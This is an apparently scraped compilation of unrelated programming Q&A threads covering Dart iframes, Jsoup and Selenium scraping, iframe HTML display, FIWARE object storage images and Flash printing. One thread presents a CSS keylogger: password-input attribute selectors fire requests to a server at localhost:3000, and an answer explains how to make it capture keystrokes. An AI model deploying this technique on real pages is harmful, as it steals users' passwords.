I'm having an IFrameElement on my page and I'd like to access it's nodes.
However, this sample:
frame.onLoad.listen((Event t) {
print(frame.nodes.length);
});
returned 0;
That's obvious, because the IFrameElement doesn't have any direct nodes, but I had to try.
As far as I know this is not allowed in Dart due to security concerns. You can only communicate with code run inside the IFrame using postMessage() or use dart-js-interop and code like shown here Javascript - Get element from within an iFrame
Related
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});
Is what I've found but I don't think it works. How do I do it?
Edit: I realised that the CSS snippet won't work as typing in the input field will not change the value attribute of the html element. A JavaScript function is required to do this. Hence, include the last 3 lines of your snippet in a script tag and then it should work.
The CSS Keylogger was originally a thought experiment as explained in this LiveOverflow video. The snippet you are using is assuming that http://localhost:3000/ is a malicious Web server which records your HTTP requests.
In this case entering "a" on the keyboard (in the input field) would send a request to http://localhost:3000/a (for fetching the background image) which you may intercept as "a" on the Web server. You may write a NodeJS or Python Web server to intercept these requests and get the keystrokes.
Im trying to scrape a div class but everything I have tried has failed so far :(
Im trying to scrape the element(s):
<a href="http://www.bellator.com/events/d306b5/bellator-newcastle-pitbull-vs-
scope"><div class="s_buttons_button s_buttons_buttonAlt
s_buttons_buttonSlashBack">More info</div></a>
from the website: http://www.bellator.com/events
I tried accessing the list of elements by doing
Elements elements = document.select("div[class=s_container] > li");
but that didnt return anything.
Then i tried accessing just the parent with
Elements elements = document.select("div[class=s_container]");
and that returned two div with classname "s_container", non of which is the one I needed :<
then i tried accessing that ones parent with
Elements elements = document.select("div[class=ent_m152_bellator module
ent_m152_bellator_V1_1_0 ent_m152]");
And that didnt return anything
I also tried
Elements elements = document.select("div[class=ent_m152_bellator]");
because I wasnt sure about the white spaces but it didnt return anything either
Then I tried accessing its parent by
Elements elements = document.select("div#t3_lc");
and that worked, but it returned an element containing
<div id="t3_lc">
<div class="triforce-module" id="t3_lc_promo1"></div>
</div>
which is kinda weird because i cant see that it has that child when i inspect the website in chrome :S
Anyone knows whats going on? I feel kinda lost..
What you see in your web browser is not what Jsoup sees. Disable JavaScript and refresh page to get what Jsoup gets OR press CTRL+U ("Show source", not "Inspect"!) in your browser to see original HTML document before JavaScript modifications. When you use your browser's debugger it shows final document after modifications so it's not not suitable for your needs.
It seems like whole "UPCOMING EVENTS" section is dynamically loaded by JavaScript.
Even more, this section is asynchronously loaded with AJAX. You can use your browsers debugger (Network tab) to see every possible request and response.
I found it but unfortunately all the data you need is returned as JSON so you're going to need another library to parse JSON.
That's not the end of the bad news and this case is more complicated. You could make direct request for the data:
http://www.bellator.com/feeds/ent_m152_bellator/V1_1_0/d10a728c-547e-4a6f-b140-7eecb67cff6b
but the URL seems random and few of these URLs (one per upcoming event?) are included inside JavaScript code in HTML.
My approach would be to get the URLs of these feeds with something like:
List<String> feedUrls = new ArrayList<>();
//select all the scripts
Elements scripts = document.select("script");
for(Element script: scripts){
if(script.text().contains("http://www.bellator.com/feeds/")){
// here use regexp to get all URLs from script.text() and add them to feedUrls
}
}
for(String feedUrl : feedUrls){
// iterate over feed URLs, download each of them
String json = Jsoup.connect(feedUrl).ignoreContentType(true).get().body().toString();
// here use JSON parsing library to get the data you need
}
ALTERNATIVE approach would be to stop using Jsoup because of its limitations and use Selenium Webdriver as it supports dynamic page modifications by JavaScript so you'd get the HTML of the final result - exactly what you see in web browser and Inspector.
If anyone finds this in the future; I managed to solve it with Selenium, dont know if its a good/correct solution but it seems to be working.
System.setProperty("webdriver.chrome.driver", "C:\\Users\\PC\\Desktop\\Chromedriver\\chromedriver.exe");
WebDriver driver = new ChromeDriver();
driver.get("http://www.bellator.com/events");
String html = driver.getPageSource();
Document doc = Jsoup.parse(html);
Elements elements = doc.select("ul.s_layouts_lineListAlt > li > a");
for(Element element : elements) {
System.out.println(element.attr("href"));
}
Output:
http://www.bellator.com/events/d306b5/bellator-newcastle-pitbull-vs-scope
http://www.bellator.com/events/ylcu8d/bellator-215-mitrione-vs-kharitonov
http://www.bellator.com/events/yk2djw/bellator-216-mvp-vs-daley
http://www.bellator.com/events/e8rdqs/bellator-217-gallagher-vs-graham
http://www.bellator.com/events/281wxq/bellator-218-sanchez-vs-grimshaw
http://www.bellator.com/events/8lcbdi/bellator-219-koreshkov-vs-larkin
http://www.bellator.com/events/9rqguc/bellator-macdonald-vs-fitch
I have a server API which is returning a HTML response. I need to display that HTML Response in an iframe on my web page. Any idea how do i do this?
So, with the limited facts I have, maybe I can crack this case. When you get your response, you'll want to get the IFrame using Javascript. But, there is no truly robust way to do this, and it is totally redundant, unless you are trying to, say, avoid some sort of UI within the response. The best way to do this would simply be taking the response, and displaying it within the current document.
This can be achieved by
<div id="response">
</div>
<script>
function write(data) {
document.getElementById("response").innerHTML = data;
}
</script>
If you absolutely need to use IFrames to display data (I highly don't recommend), this link can put you in the right direction.
jQuery/JavaScript: accessing contents of an iframe
iFrame : How to display a server response (HTML) directly into iFrame using javascript?
Edit:
Try also, noting "response" is an IFrame
document.getElementById("response").document.body.innerHTML = data;
We want to develop a widget to upload images to containers. This is a very well documented task:
1.- Object Storage Tutorial
2.- Fireware-Wiki
3.- OpenStack Object Storage Docs (Swift)
With all this you can manage to get (download), upload, delete files in a container. This is relatively clear.
On the other hand, we want to develop another widget to display images stored in a container. I think in something like this to show them:
<img src="public_object_url"/>
But I do not know how to do that. Where I get this public URL? Is there a public URL? Is it get in some step during the uploading process?
I am a bit lost how to do that. Any help would be highly appreciated.
Thanks in advance.
EDIT 1
We get blocked displaying images once they are downloaded.
A look inside "img" tags shows this:
what is the string returned by URL.createObjectURL(). If we look inside this link, the browser displays this:
We have decoded the string coming in the property "value" and the image is there!
To get the image from the object storage server we used a very similar code that the one used in the operator Álvaro recommended.
objectstorage.getFile( containerName,
reports[i].urlImagen,{
token: token,
onSuccess: onGetFileSuccess.bind(null, i),
onFailure: onGetFileFailure
});
function onGetFileSuccess(index, picture){
downloadedPicsCont--;
reports[index].urlImagen = URL.createObjectURL(picture);
if(!(downloadedPicsCont > 0)){
MashupPlatform.wiring.pushEvent('reports_output', JSON.stringify(reports));
}
}
The picture variable has the following structure, which seems to be ok too.
What is it happening?
EDIT 2
Finally, we found the reason. We were downloading images that were created directly from the cloud and not with objectStorageAPI. In you upload images from the cloud, when you download them you get them inside cdmi objects so the URL.createObjectURL doesn't not work as expected. In the other hand, if you upload them using objectStorageAPI, when downloading them, they come in raw format, so the method works correctly.
As far as I know, FIWARE Object Storage needs authentication, so there are no such public URL. But... you can download the image using your credentials and then use the URL.createObjectURL method for getting an URL usable in the src attribute of the img element.
It's a bit old, but you can use this operator as reference.
You can write action scripts to do flash print.
Is there a way to print define the contents in the iframe and print?
Example:
This is a good flash print demo script.
print_btn.addEventListener(MouseEvent.CLICK,printContent);
function printContent(evt:MouseEvent) {
var printJob:PrintJob = new PrintJob();
if (printJob.start()) {
if (content_mc.width>printJob.pageWidth) {
content_mc.width=printJob.pageWidth;
content_mc.scaleY=content_mc.scaleX;
}
printJob.addPage(content_mc);
printJob.send();
}
}
The content_mc is defined within the .fla file. I would like the action script to look at the current web page and print the content within the ifame.
Can this be done?
Example will be helpful since I’m just learning action scripting.
Thank you for any help!
Directly no. With a couple of "hacks" yeah. So to get started you can use ExternalInterface in Flex to communicate with javascript. That'll be necessary since you can't directly render the IFrame as the browser would within Flex (aside from AIR, even so it's not going to be a 1:1 match in all scenarios). The second step would be to call window.print() in a javascript function. Your AS would look something like this:
ExternalInterface.call("doJSPrint");
The last "hack" involved would be to set the media in css to print/screen appropriately on the other elements in the HTML page to just get the IFrame to print.
Relevant links:
http://www.w3.org/TR/CSS2/media.html
http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html
http://www.spikything.com/blog/index.php/2009/08/23/externalinterface_howto/
Good luck, let me know if you think I can provide more info.